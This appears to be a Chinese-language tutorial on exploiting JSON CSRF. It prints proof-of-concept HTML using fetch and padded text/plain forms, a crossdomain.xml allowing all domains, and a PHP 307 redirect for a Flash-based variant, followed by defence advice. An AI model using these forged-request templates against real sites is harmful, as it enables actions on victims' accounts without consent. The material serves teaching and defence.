CSRF(跨站点请求伪造)在Flash中的利用
字数 1191 2025-08-18 11:37:03
CSRF(跨站点请求伪造)在Flash中的利用技术分析
0x00 前言
CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用技术。与XSS不同,CSRF通过伪装来自受信任用户的请求来利用受信任的网站。CSRF攻击被认为比XSS更具危险性,因为:
- 浏览器请求会自动包含与网站相关的凭证(会话cookie、IP地址、Windows域凭证等)
- CSRF攻击往往难以防范且防范资源较少
0x01 主要攻击场景
场景1:服务器仅检查JSON数据格式
- 服务器查找JSON格式的数据
- 不验证Content-Type头部
- 攻击方法:使用Fetch请求或表单构造JSON数据
场景2:服务器验证JSON数据格式和Content-Type
- 服务器要求数据为JSON格式
- 验证Content-Type为application/json
- 攻击方法:使用Flash和307重定向技术
开发案例1:仅验证JSON格式的攻击方法
使用Fetch请求
<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"name":"attacker","email":"attacker.com"}'
});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>
使用表单构造JSON数据
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain">
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}' type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>
开发案例2:验证JSON格式和Content-Type的攻击方法
攻击要求
- 精心制作的Flash文件(.swf)
- 跨域XML文件(crossdomain.xml)
- 带有307状态码的PHP文件
攻击步骤
- 创建包含JSON数据的Flash文件
- 在攻击者网站根目录放置crossdomain.xml
- 创建307重定向的PHP文件
crossdomain.xml内容
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
307重定向PHP文件
<?php
// redirect automatically
header("Location: https://victim.com/user/endpoint/", true, 307);
?>
攻击原理
- Flash文件请求PHP文件
- PHP文件返回307重定向到目标端点
- 307重定向会将Flash文件中的JSON数据一并POST到目标端点
- 浏览器中需要安装Flash插件才能执行此攻击
注意事项
- 这些攻击方法仅适用于:
- 应用程序仅依赖JSON格式数据或Content-Type检查
- 没有额外的CSRF token或Referer检查机制
- 使用Flash的攻击方法需要浏览器安装Flash插件
- 如果Flash文件和重定向页面在同一域,则不需要crossdomain.xml文件
防御建议
- 实施CSRF token机制
- 检查Referer头部
- 对于JSON API,避免仅依赖Content-Type检查
- 禁用不必要的Flash内容
- 实施严格的CORS策略
工具推荐
- 使用FFDec编辑和编译Flash文件
- Burpsuite的Engagement Tools可用于构造基本CSRF POC
参考文献
- http://research.rootme.in/forging-content-type-header-with-flash
- http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html